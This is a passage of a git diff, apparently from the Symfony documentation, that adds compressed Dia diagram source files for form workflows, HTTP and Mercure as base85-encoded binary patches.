zJnCosyiKHJpjzec6e{xmA(NJ+Vjiu_blxRUuF!E3XA*^>=r$4Q_Lq@hkPAVUC644#
zCJ5f53cn#Nt?B!H_^YG@nASu|>yP)32F*<<SoFxl)7>)`Nak4T-S-@aK4!ksSKddD
z>VCx_)(h0XRln$m?2zq$VN66gah4sn!;liW+0(OReB9MVwmmOvn#pE{vw-Z(_f5^Q
zZDf<a;SMdM2WsMxfGh;rvhX;Nzeszw_P4@)+@>edMot6Ub3$ixUTnN>$9NI*2|HJH
zpaI)NE;3AA2F;FbiUDyNAs#AUiS=SN6iFWAoMq{G&dAr;!QQ<}_}d>eBsmTTnmQar
zJzFzfXrUI}4jP(k3LIzw8x2jQ=@xLry$cPqCa$EgF$w)63NO>Z<5FhBZU|S4$ue7u
zyzsP=n}+@vGZwA0hKYbnEE^3ij{_3UPWh>>nN1<iFhOaAy>Q1zPX6>4WiC8Ms+w>R
z9tj6Ac51iv8|P>e<h%>gcdf&B?c-HKrb1<W`cn|CCv(iWaOx3Z3mW3!nPY?0v0-D!
zHZ-#b+I4Ew(=~T!=$h3NHwd{k@fL(*^~^fWry|sCQK_5sR~fCgTa;?38M5<%V>qsB
zI+j(F76KtM=iL?P$pw(B17HEz08GmB>ZE8VSan5vN`s&ThzET{ycZG~oa(QbZvs**
z2l^4c<z{%Qz%H@xA0`V6C&bfL6N!^YevSn)Wr_x5n-V`Lm&u<08Tlko<npT^i+*Bh
zSv1w6kmo_l=gJf>Xt23ezmAl99LCD$MAwz=cy84yG4i{ZsFbkh!&tp0M|6=Je?!Za
zmk9twzy(G#%tJBCC0M%$H49j-)eI>c=9grRI#4*Evv5K3$93;@pd?CeilDlWjAe#B
z$0c(sREaDDx*X3VM!$<GE25H9JeJ9pRfZ7(52us%K;o4r|II<v+I(0wn9I+I7>zR`
zR?liRBO;e(@@ojiy3Fjknpl)Ur`4oL?Ix88wA##x7#eU)Xq(8<O$R{7HQLOPTrAY0
zVx3YZKLWQuFFFcJCfAr@pRVFlT?gIF)mHfP@`IhvWUWjiw&+5gYlS+xOm1a!PF<+e
zrqH6MLTl))3N3VZLTlJp659Gr`q3GUpIm5tf9iRi(Ee;f`}MDn<NJ@J@rQS#cb(W?
zNo)<7xb5Wj%5rNqm0M)ADz^yk<kr-$B)9dO)X8lpx1HQpmfJ7)qfT$Ht+&YP^!ECC
zYc<td6Sb<hrm@po3tmZY>o=*(BX@b^PH!vgEhEclxe72RewR?brskSXr?{6@+-F;B
zN76lxci`ELci`DQr_F>i(kvk%J!c4A&9I@ATwuR^7KsV}fI0s47rFc9H|2lJAwu@$
zg-nFx=vi0Tf8%H_><Fax=9`CYl}hcttF=e*r#-w-z_3o^9HQQ{TVz<n)*R$GJxkM_
zA%Yq(fgw*Zm@l7XLlK>c+4>#J-RT|0UWsB4=VQmO7v@)^<JU@u!`ur*utsvUpv^ee
z(k#mb0tvbTX$Wo2FmzX*$FhLa_UW*k7Uq_+>z;#Z<z!fyvjC_&boQeTox#I{V*ph?
aIhNdSk8|JM92^<HyZH~H;#p~~NdN!=M@Fmw

literal 0
HcmV?d00001

diff --git a/_images/sources/form/form_submission_workflow.dia b/_images/sources/form/form_submission_workflow.dia
new file mode 100644
index 0000000000000000000000000000000000000000..cc08f117878afc8892d21a674713e2f8aa61d4fc
GIT binary patch
literal 1950
zcmV;P2VwXhiwFP!000021MOT(bK5o$zWY~jm>$|0nIgb<96Qr=nwieDNhWqKxoAKU
zlF(A1N<x;ELw|b#lC~s@)Pt`$3FxtGQQ$5BV!v;9vDB;A5A#sD$8ka;daVLYR~1ah
zQ9$VQTK#nQ_R>{f-(0*32ztqXr!kr<{0f?gch~BSvBk^baJ5=#;W|MqinWj|wFD3U
zLt%)9ywOm-xlojC0Rdu2oXgK5#$w_x8CEEo<7?GN<A0`cw4{NWwaVL#qcDn<dlX))
zFDCh+4s$`n9Z3hIFVGbGF-HGX3)lJKdG&-Za9k8TUqlJvP1t&|*Q7#@c-?A~w@P>;
zI=y-EtN9}9Qhs71tE{7yO4uC5Q$qLk@YxBoseqabA$**N^HuoWs|dSS5qGbGB%?(X
zvltP!uf~s}5F?stV(}8!*OQD<$d}Bap@90*Cxo%+NdG4&Oimd<cKXSB&b7p8OoGFP
zxYMFSO0edC$+**7vLXSSjUGC>C7JYfN7C;}Li`Yy^`21Hn)r1);)^RF#r)0X4Od(y
zt&&s%7hBk>Ln_lH32^dsU1gKeksj#!WFmgg??FJ4MTpji?Wx$PLKdQoa125T4q8Hr
zDyXAqamk{~f}MAOsgH`X`_zZ3$p0IUJ7$VmwCZ8*QY}49oX|6lDCN_}9o@@C!~vuw
zm8arHcB<e5r&_t$;5hH;n~nFY<oK8OM9KS)(o<X3QCmiK3h^nqe|)!v0@)(Vt^1ZC
z8lX5(E|oXYgSv?rc)UP@YxTXpiw?ybz=d%SCn=&sdLMEiw+5G>h{pSqT_xQ2i?U-e
zPC5<omi#Ld4xm?03l8y|V{A<K{r7f;kt#?Ddw(cTj;7N<_6(Ehj8zLa^m@YmC=PIZ
ztm{Anj%9kLVd=tIb{z{}8g3(vyNq{2oOqrVff}QdaP&A>lymEFV^$~F*&TjhTZRU5
zLjz3>%>V=7b!ccpzN_i(m0@e9#dT@Ws;7>L893s^71~tY$uv^lX;%oU6(ztl;-Owh
zz97L76*2Y!=BbK`BFf4%i}T8a#~0!HTK#aR+#;GN?@$~^D^*F@S|Bt>*G$N7(K04D
z-ln7Td$MQ$<yHz^ahR5A8V<DVW;%D*;tA`qj*=n{RHk*d{oi`3`1+XAIWE7Ym@em;
zHvL2`rOv~7R&t+qsc0vgt{C-<Z$iTGhXh#I2EZB}11wAd*3xWFqg>lJ0<jWczZSq6
z5@033_5!eP!)P_0p_o;Mibhj_g<zm}h_6uBJRZgAnr>Y|kG~E$z8V&EyNny_kLi@K
z(d{y7)PQS29@@FO<#KHEj4q={T>}};=)m-J0Biv3sUwu06hXrD=Xuy)B|3}6HHuL{
zmdT;1gI?jNr*DCRV3+HQnx4Ni@(!<*33o?+ST6+H=?bs_fF|&oIta(T5Xk*h&GVpb
zes8V_=)e_ehiT2mp^VWf(;9HYv?l0@Y3q+kGOc7<$+YJ(?S~jIqQx>q3<r{O`=ngM
zk(Apv<ywt{TW3%=nRi-rYYWbWCVv$PM9#U;6{Kr)8r{|(lq6kAx{`FyCEeSlKPOBw
zZr_Xx1_EC><x0kFhjF*|>pqj|XEgnjP+YQWXE)|u5qxr}?{eoZWnH0$)9sZ3G{ew6
zPK+7{`kHk;QOstey=t}-##Y+MI`lbT+s8f^<1_2RZaS2RBLijCdo5tE2NhdF)z_WV
zC$wY{r#4nX2Zw4^&vHU&Fv@_k?G2_U$)ga{>0z(KYO3O>Uvr{{O_64@N0pDCC^L=;
zIi;{D-BD6DpYof%zs^f82KmKS;bMEgB)rh2HgU^ooT78O$1OwGY}*4*$mOJA1IH~J
zxLx8_$=FI8HO4JVLY9QAULnhD5wc(_h_#*DxWn<BP!yH`mfO70TjQRF20N|w)=aJf
zTtTS0rt1zIttL**F+;~<wt$RTw<YCGChU~_iK9W&bu1oDKxkON@yrerDzL8QhMYlr
z%b%pmM6|U$m_ON%!D^KN9aiGQz{LLZPST|Fl}7sN8EjYj6k@x%nx_Tvc!1}hz4?g$
zUE+i(;wd4SyXh%+13ZmuG6%NidZs1wH?`{}g%ym%v*0C$+1S0Egk&+Aai9AOU$)#q
z>Bz-R)o|a3k#ToQlBF*m$j54JRBWf>-D_db%GB&G6K5h2wB0Mi)I7tnxHk72D0t7@
z_8iQA{wdD>`9+bH?>$w%7uTgMeV3*0{XAP#$o4%}2Y|+pN%M%-5fQC;wz5mWg_`ZT
zHdg~I!-ZFdu6Y0mwJxx1Sa&0r(h;V?@%@U@L6)TMbj|~!6%StPb&0R!@uJw1vM(2D
zI~Fo!>g{W#-rPd!O>aGYR$dwe8b7)X-GSSwmnF6*owPE@6e)fHx~~kXJ)~0-Ted6=
zs#_Qo1QXwvg+bq4HSWjXN4KBe{PoA3Of2<R6y(V=+<wb&0c?S5f!R6P0%MD9oj%wW
zn38TK-AcOcsSa0CZO>E-ELnfsFVz|?P%YHEr&@1Awb1B;YN0NvR#L5`+MXiY_qTU4
kwC(?S7a;kzCf{c7({Jv*x!C!7;G2v80XK4VnVDk%023e8i2wiq

literal 0
HcmV?d00001

diff --git a/_images/sources/form/form_workflow.dia b/_images/sources/form/form_workflow.dia
new file mode 100644
index 0000000000000000000000000000000000000000..30f9acabe2b1c0a2f979c40eab096e2a46b4f511
GIT binary patch
literal 1871
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
J@EN^T000pny%hie

literal 0
HcmV?d00001

diff --git a/_images/sources/http/xkcd-full.dia b/_images/sources/http/xkcd-full.dia
new file mode 100644
index 0000000000000000000000000000000000000000..a730d01c3ef4ecfe5f1b7c6732046847b9e22a96
GIT binary patch
literal 1612
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
K(pLe!N&o;>juP1b

literal 0
HcmV?d00001

diff --git a/_images/sources/http/xkcd-request.dia b/_images/sources/http/xkcd-request.dia
new file mode 100644
index 0000000000000000000000000000000000000000..3796228bf1d16f1e935a3b9fa088a54b3f99e14f
GIT binary patch
literal 1380
zcmV-q1)KUGiwFP!000021MON_Z{s!)e$TH^m509AvPem`v{@%;7Fe`E(H7YB*`O_2
zW+RgZMceU9e|xDTK6LnyOmB*n0xK{@eZymBzL}vvKfTREZH0M67#-@sFm(;n3G)dJ
zhWg(xU%RgU^mzB#C+L&>1RTvZ`38;RZ$o`1#Nt!0w_dM}a1$ZHxDk@25#ipyC=5|g
zcIxSmcbc{j;3I+JwyYHi!O3_jutw1w5A`vcyat>tsjsKKvVId5GOn#qIMnZ_*`@a~
zpxyz}5%dKL@R(!tS`BW>%k%1iFEGyo&lfBrvWwU(3SBC2;`?5otXCvE(ctm^7yCXP
zQr57;DjR5}5HUwQAhak)u1=UP1vFd;;rlvVE@G@+M5tZ_S1*D@qXpxFBO;1o#*Bp+
z(NvP)OI%-0G(n+MnPXD{_0gw92zFxpQxrz$OdxIETF<4H7;xerH^hS;6)65j{wEWq
zTe2p;n2p{PZAps0QG~uC5gCWLZ1jYRtHE!s1E1G`#OLo`Z>Vu8S|zFYE_Sd}hg5<k
z@o}_$ud>VN#0X4tI*mV<kH9C<B1D_x_LT2bfrY3b(g&dk`&aT5Rj!VrMOUzH&dwG1
z)OSJYKHWkT8~=kRikV`@);CzYM9K{oE|xQ4l*(n3fo^xfqyxE<$aDQh+LVid6RFZ{
zFwaK%yo-Ld%>QL0(X#QQq-oDOYGb5LNG{3h{o9@wNR=$J?r#E7A8}vnYR~LV-(?Ik
zUm*Ta|I<A54*3m`U^2pq^4=lYhjg_EoqpaI7niyUdOXe}^LUmt2=NyE0eT%!Qw9$4
zT>4i|i?RDPrjWoVR9&3LHpGMtuxFSAGf@o=%zEHs#(m6B4ILO@;MksRIc6Lty8{Pz
zEw_=xL#{g`L%d8%>@P+oiRfuJQO>Hpok3Mu*w>J)Co{xFrHO&2CgyeqDoxDroK9cf
z9)N9_PRElsmDW~!Hs@GdU!k!<m9}OYz)UY-dnN#VP*WU{L~)Lt!Q}5_*jZ(09;?!b
zBcCjzV@n6U+*MEB0{Q-7mYtVW4_Dwfp`S=<a($}SJ*gZW^ve~Qo;h1bm{(Mqj>KP8
zwE;#&nY_4No60OZ+zj=<UbJtBM%o{UOYyoEiA@}*NC%jLd|^vYFy9Z#E+0w3JWCl1
z_7eqg0Dv~|fYnUqp<gcZW&m_t!)_)eZ>*Ko&HXg6o+z2Z1$2(f_Y~9Ryd*n67PObe
z&`QY^HYHOCm9i-WTRMgAE$FoVd|Ezj`LyNJ6MXviI`K70sH>J!Z^o(6X*u<JoVr&6
z`khc*!l_nMPL)BBr;t;D8FQ+eq^Ka~RAAL6)wqy0!qhKR5|7WR^!dIeTrvi!5|c$<
zblJ(sG0<IAG%C2l_b1v+Zhhu81WQU0+U}_oWff*v@-oO?9vr?5i$^fI5nV?+?Zy$G
zqf|Sgz12?W+)6tS=T!Rq|EHa>iFUf*M?0M>_)Y+nJ5PD<_dSqkXdk#zq+wa6r{0GG
za7s<VcU03t-a`FR8gJ!*cQkG_L>`5h2FEiOr>TgOxsh{)!uOtSyu`uw-mlRz+vqp8
z4L4C-N2PgKhCLX>Y5Kr=fY5LtOsvKG_^HXSc=MC?MW%(n$pl4$Gaqe!j-(fylgZN$
zo2&rn#+U8bwl#oGUwHwrprdWNa-q?zk|AB)<xWW${*VWbgXRa0b%V$APaFZ<9XSF=
z`I%$g3AIJiwn*9*N!vrmk9O!N9cNo1z1gXwdxcX+rIeZ;JEokPo;xb%)CN;(Nwp=_
mmQ>r5$B%gO*b-|!Vokp%KWBfuJNV7~<K2IINV8q8IsgDrcAqN%

literal 0
HcmV?d00001

diff --git a/_images/sources/mercure/discovery.dia b/_images/sources/mercure/discovery.dia
new file mode 100644
index 0000000000000000000000000000000000000000..3db5c86f020142edb0a6c34188db63bb049b0d63
GIT binary patch
literal 1454
zcmV;f1yTARiwFP!000021MON}kDE9YeV<=}sMMzn!6p!xG}GNy+kIK>R_g3?WMYT7
z<JibJlZmR`-@fK!CV_-}kPx-qFbbK#<sRGk-gA86-TUVmGoFY{sNh2rShi^pJ{Fkr
zXlVZZ@afh!-{0T7!xY`=PbAUI&{yyz{WUbFO2v2G?qad9*fK#%NQ=?Am5}bgh%waF
zMqTs%#xT|$V5CrbtT>94k~EwvVsJDgLo-C<$4H7f$7XI-*o_4f(s)8_Xug>go7pWK
zbxWRhc#ly;LP^kLy>nY{LD0;3Ok~yZEEWmXCTbaPnAG@5_iHwVRice}bpPhp-kZEh
z#etQtZ4IpjQ8OeX$~STJ=&*b!pyfjdU&i5hh_HPK);@%6AA%;MSV$!iRhuxO5R4$6
zBPls2&2f@3VtUH#>I!J?eL|HId)hxiEIFhD`Qg{-IW`g_N%8JLELqfe!At#3$F1Iy
z1;uJQdT!~K<ldJpd4Hk_4H?<iddk(=+%M1LzB&W4oWHvK#2J@+t0fie6PLJ6NF|z6
zOp@2@YE4FaT439gN%}dy1(+r=L(ARqR5hycg}9<R2cd-EGi8dpRL4<#tHf<3&RfW-
zFF^Tyx&)L6zmjpwOfeOU3yfWca)E(MamIpkJ#1R&-o`>FkTXFZnm6)86%CxB>aZcQ
zXz7QQ`ZbFDSG2?^+K<)_A>Ey)mtSiUoKKJ<GQTLqF_PH0H9m-EbEWpR)~9%A{$-aV
zyE=H<nN}xBHL|lYERwM0cKViA&83?|Rp&kotKMbWQyww$g3wDLTzBBudf$Pz<-5)B
z2qQC{D<$95;pgg729Z(kX187?V{n4+DWTC+)jJ1{1?~0CX$BSwiHY3T725&@4Cn<m
z03LuR!Ig>ZfaTwDC}}bnZCPdR&jH&hv%8A8x)A)t#9}-}Qq{&FI5h@g2lQJFz`*SQ
zPwxkTW$S;_eVYN;yg!FTU%$oRgFi&9QB5X?gc{8LzK>9=mEP%G8cBrdJlQpLFsN+J
z@M45<c@<qnYUWpwXJzhLv{Y>B#yzVHmFy}-q>qdeErDt(Njvma-P&JpwGA&lZcOwl
znk|Rs=Lh2p;)(Gml2R;8BT>s#%jg`KJNYQ)k`lQtx{hzjMtE-HM+<t{1aJX>JrDrr
zG|X~p-j>c>ttWtQ^-ja7hHGv8a($uK3`#H3B0eMA?<(Q**_QS9E?K@!CAZ3`@MKl%
zb^JCN)lDh2pE4@!XO!A&nNpi~=nzT;phZsgekM*0A?}gz%Bepar+!(^G~F$4P#iNl
zMrozt%C8sVSC}r?fo=6Y_e!znq1d&$(PzPye^5@g(5!PR&1TA|&84fG){gYl@Vo#F
z^b*$gfUgl7lWnXAW3*90+}Eud3$V*V6Lw=(<#?25fr|UpymC(TJYs}LyLr_;6=E-Q
zABeE3{U#e^@N&kO>iJ&eOC_?JjIlafTG!WK3yW)E`P%;GbEZmzj*Q5Ml(W`e+$f^4
zca~^ueB%y`N4FDLJ<lBgX!U|DYx~gs{`vj)-yV#v)>n^77g%2t!5RL)^Ske9diOl9
zf06ZbX<q&u<Zib>?sbpTvnDm?gY#(y_vB)CruKR*CMn+v93OUoldaD|`pgOVmgCq#
zo1$T(Uv(z_E|Z{i{;C=-s~RfIUtap`lMNNg;h#k|?5~x1C)dhA2Lx>v%k1p=lb=ST
z11tx)9SAKiXti9{yiW%`0Jb%Wx@*s9+pM2Cmgi)IZ9~}eb!O|g`_u^INqDVr9a-VB
zegF-u8U69jc+1ovefK-L>vl1j32R2=crJ-0#aOH3={$TJslmXIME9#WXWo1>f1%jC
zGt7#JHamu?sA42N_eluzpKICdLS-|My;!4Dk?UWjb%VND{yTet>;9(nhS&Yge-C}t
IkX$hU0MO#(s{jB1

literal 0
HcmV?d00001

diff --git a/_images/sources/mercure/hub.dia b/_images/sources/mercure/hub.dia
new file mode 100644
index 0000000000000000000000000000000000000000..b0dfb9d88d2f1a97e9c6e3c5842d9987b579e896
GIT binary patch
literal 1564
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
OxcLuN61GriOaK7j`VuGr

literal 0
HcmV?d00001

diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
